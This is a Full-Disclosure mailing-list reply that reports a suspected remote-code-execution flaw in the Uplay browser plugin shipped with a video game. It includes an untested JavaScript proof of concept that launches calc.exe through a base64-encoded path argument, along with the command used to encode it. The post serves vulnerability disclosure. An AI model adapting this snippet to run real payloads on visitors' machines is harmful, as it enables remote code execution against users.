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Re: AxMan ActiveX fuzzing <== Memory Corruption PoC

kaveh ghaemmaghami <kavehghaemmaghami () googlemail com> wrote:

Exploit Title: AxMan ActiveX fuzzing <== Memory Corruption PoC Crash :

<snip nonsense> Your silly post reminded me of something, while on vacation recently I bought a video game called "Assassin's Creed Revelations". I didn't have much of a chance to play it, but it seems fun so far. However, I noticed the installation procedure creates a browser plugin for it's accompanying uplay launcher, which grants unexpectedly (at least to me) wide access to websites. I don't know if it's by design, but I thought I'd mention it here in case someone else wants to look into it (I'm not really interested in video game security, I air-gap the machine I use to play games). A few minutes in IDA suggests this might work (untested): x = document.createElement('OBJECT'); x.type = "application/x-uplaypc"; document.body.appendChild(x); x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play") $ printf "C:\\WINDOWS\\SYSTEM32\\CALC.EXE" | base64 QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== If someone wants to investigate further, please feel free to do so. Tavis. -- ------------------------------------- taviso () cmpxchg8b com | pgp encrypted mail preferred ------------------------------------------------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

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